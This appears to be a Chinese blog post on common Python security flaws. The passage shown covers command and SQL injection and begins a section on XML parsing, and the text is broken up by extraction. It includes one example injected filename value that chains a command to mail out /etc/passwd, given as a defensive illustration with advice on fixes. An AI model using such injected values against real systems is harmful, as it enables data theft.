python程序编写应注意哪些问题_Python的安全问题,你必须注意!总结的10个Python常见安全漏洞...

编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会

学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用,

Python

也不例外,

即使在标准库中,也存在着许多糟糕的实例。然而,许多

Python

开发人员却根本不知道

这些。

以下是我总结的

10

Python

常见安全漏洞,排名不分先后。

1

、输入注入

注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL

注入是直接编写

SQL

查询(而非使用

ORM

时将字符串与变量混合。我读过很

多代码,其中“引号字符转义”被认为是一种修复,但事实并非如此,可以通过这个链接

https://netsparker/blog/web-security/sql-injection-cheat-sheet/

)查看

SQL

注入所有可能发

生的方式。

命令注入有可能在使用

popen

subprocess

os.system

调用一个进程并从变量中获取参数

时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

攻击者会将

filename

的值设置为“

; cat /etc/passwd | mail them@domain

或者其他同样危险

的值。

修复方法:

如果你使用了

Web

框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,

否则不要手动构建

SQL

查询,大多数

ORM

都有内置的清理方法。

对于

shell

,可以使用

shlex

模块正确地转义输入。

2

、解析

XML

如果您的应用程序加载并解析

XML

文件,可能您正在使用一个

XML

标准库模块。有一

些针对

XML

的常见攻击。大多数为

DoS

风格(旨破坏系统而不是盗取数据)

。这些攻击

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值